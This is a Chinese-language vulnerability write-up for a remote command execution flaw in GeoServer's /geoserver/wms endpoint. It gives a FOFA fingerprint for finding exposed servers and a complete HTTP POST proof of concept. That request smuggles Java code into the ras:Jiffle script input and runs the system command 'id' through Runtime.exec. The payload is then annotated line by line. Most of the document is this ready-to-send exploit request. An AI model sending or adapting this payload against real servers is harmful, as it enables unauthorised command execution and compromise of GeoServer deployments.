GeoServer系统wms接口存在远程命令执行漏洞

漏洞描述

该漏洞存在于GeoServer系统的/goserver/wms接口处，攻击者可以利用该漏洞在xml中包含恶意的代码执行任意系统命令，漏洞利用了GeoServer处理Web Processing Service请求时没有正确过滤用户输入，从而导致远程命令执行漏洞。

fofa

icon_hash="97540678"

poc

POST /geoserver/wms HTTP/1.1
Content-Type: application/xml
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xxx.xxx.xxx.xxx
Content-Length: 1967
Expect: 100-continue
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
  <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
    <ows:Identifier>ras:Jiffle</ows:Identifier>
    <wps:DataInputs>
      <wps:Input>
        <ows:Identifier>coverage</ows:Identifier>
        <wps:Data>
          <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>script</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
        </wps:Data>
      </wps:Input>
      <wps:Input>
        <ows:Identifier>outputType</ows:Identifier>
        <wps:Data>
          <wps:LiteralData>DOUBLE</wps:LiteralData>
        </wps:Data>
      </wps:Input>
    </wps:DataInputs>
    <wps:ResponseForm>
      <wps:RawDataOutput mimeType="image/tiff">
        <ows:Identifier>result</ows:Identifier>
      </wps:RawDataOutput>
    </wps:ResponseForm>
  </wps:Execute>

以下部分为攻击者构造的恶意语句

 <wps:LiteralData>
 	dest = y() - (500); // */ 
 	存在一个关闭注释*/，用于闭合前面的注释块，使接下来的代码能够生效
 	public class Double {    
 		public static double NaN = 0;  
 		static { 
 		静态初始化块会在类加载的时候自动执行，适合放置立即执行的代码
 			try {
            	java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); 
            	使用Runtime.getRuntime().exec("id")方法执行系统命令'id'，用于获取当前用户的身份信息
            	String line = null; 
            	String allLines = " - "; 
            	while ((line = reader.readLine()) != null) { 
            		allLines += line; 
            	} 
            	通过BufferedReader读取命令输出，将结果存储在allLines中
            	throw new RuntimeException(allLines);
            	最终的结果将作为异常信息抛出
  		} catch (java.io.IOException e) {}
  		异常处理部分捕获IOException，但没有采取任何行动，是为了防止代码因异常中断
  	}
  }
  /**
  </wps:LiteralData>